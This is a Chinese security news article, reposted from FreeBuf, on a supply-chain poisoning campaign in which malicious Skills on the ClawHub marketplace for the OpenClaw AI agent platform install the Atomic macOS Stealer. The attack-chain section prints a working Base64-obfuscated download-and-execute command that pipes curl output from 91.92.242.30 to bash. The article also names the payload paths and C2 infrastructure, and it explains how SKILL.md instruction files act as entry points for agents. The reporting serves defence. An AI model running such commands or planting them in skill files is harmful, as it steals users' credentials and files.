文章总结： OpenClawAIAgent平台的ClawHub插件市场遭供应链投毒攻击，341个恶意Skills模块感染率达12%。攻击者利用SKILL.md的Base64混淆命令分阶段下载AtomicStealer等窃取程序，通过curl|bash执行后盗取macOS钥匙串、浏览器凭证及文件数据。恶意模块伪装成加密工具、YouTube实用程序等，利用平台宽松审核机制传播。建议用户审查Skills来源、避免执行可疑命令，平台需加强代码审计与上传验证。 综合评分： 85 文章分类： 供应链安全,漏洞分析,恶意软件,AI安全,安全运营

OpenClaw成供应链投毒新目标，341个恶意Skills窃取用户数据

FreeBuf

2026年2月10日 18:04 上海

快速发展的开源AI Agent平台OpenClaw正面临严重的供应链风险，攻击者已在其ClawHub插件市场投放恶意Skills模块。安全公司SlowMist和Koi Security发现数百个遭篡改的扩展程序正在传播Atomic Stealer等信息窃取程序。

OpenClaw允许本地AI Agent通过ClawHub托管的Skills模块扩展实现工作流自动化、服务交互和设备控制。这些技能遵循AgentSkills规范，主要以包含可执行指令的SKILL.md文件夹形式存在，而非可审计的代码。这种设计将Markdown从文档转变为操作入口点，极易被滥用。

ClawHub宽松的上传流程缺乏严格审核，其漏洞模式与npm或VS Code市场类似。该平台近期用户激增，同时吸引了开发者和攻击者。Koi Security扫描了2,857个ClawHub Skills，发现341个恶意样本，感染率达12%，该行动被命名为ClawHavoc。SlowMist整合了400多个样本的IOC指标，确认472个受影响Skills共享基础设施。

Part01

恶意Skills特征

恶意Skills主要集中在加密货币工具（如Solana追踪器、Phantom钱包）、YouTube实用程序、Polymarket机器人以及”clawhub1″等仿冒名称。它们伪装成更新程序、安全检查或财务工具以规避检测。

Part02

攻击链分析

攻击者在SKILL.md的”前提条件”中嵌入两阶段载荷。用户执行Base64混淆的命令（如echo ‘L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC83YnV1MjRseThtMXRuOG00KSI=’ | base64 -D | bash）会触发curl | bash下载。

第一阶段投放器从91.92.242.30等IP获取脚本，随后下载第二阶段二进制文件（如x5ki60w1ih838sp7）。根据SlowMist分析，这些临时签名的Mach-O通用文件与Atomic macOS Stealer（AMOS）匹配，会窃取桌面/文档数据，通过socifiapp.com等C2服务器外传，并盗取钥匙串和浏览器凭证。

动态分析显示，攻击者会弹出密码钓鱼对话框，将.txt/.pdf文件打包为ZIP，并通过curl上传。域名/IP的重复使用（如91.92.242.30与Poseidon勒索组织关联）表明这是有组织的行动。

一个流行的”X（Twitter）趋势”Skill隐藏了仿冒配置输出的Base64后门。解码后会从91.92.242.30/q0c7ew2ro8l2cfqp下载针对macOS文件夹的窃取程序dyrtvwjfveyxjf23。这种方法可规避关键词扫描并实现载荷快速替换。

Part03

威胁指标（IOC）

域名IOC

URL IOC

IP IOC

文件IOC

参考来源：

OpenClaw Becomes New Target in Rising Wave of Supply Chain Poisoning Attacks

OpenClaw Becomes New Target in Rising Wave of Supply Chain Poisoning Attacks

#

#

#

推荐阅读

电台讨论

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：FreeBuf 《OpenClaw成供应链投毒新目标，341个恶意Skills窃取用户数据》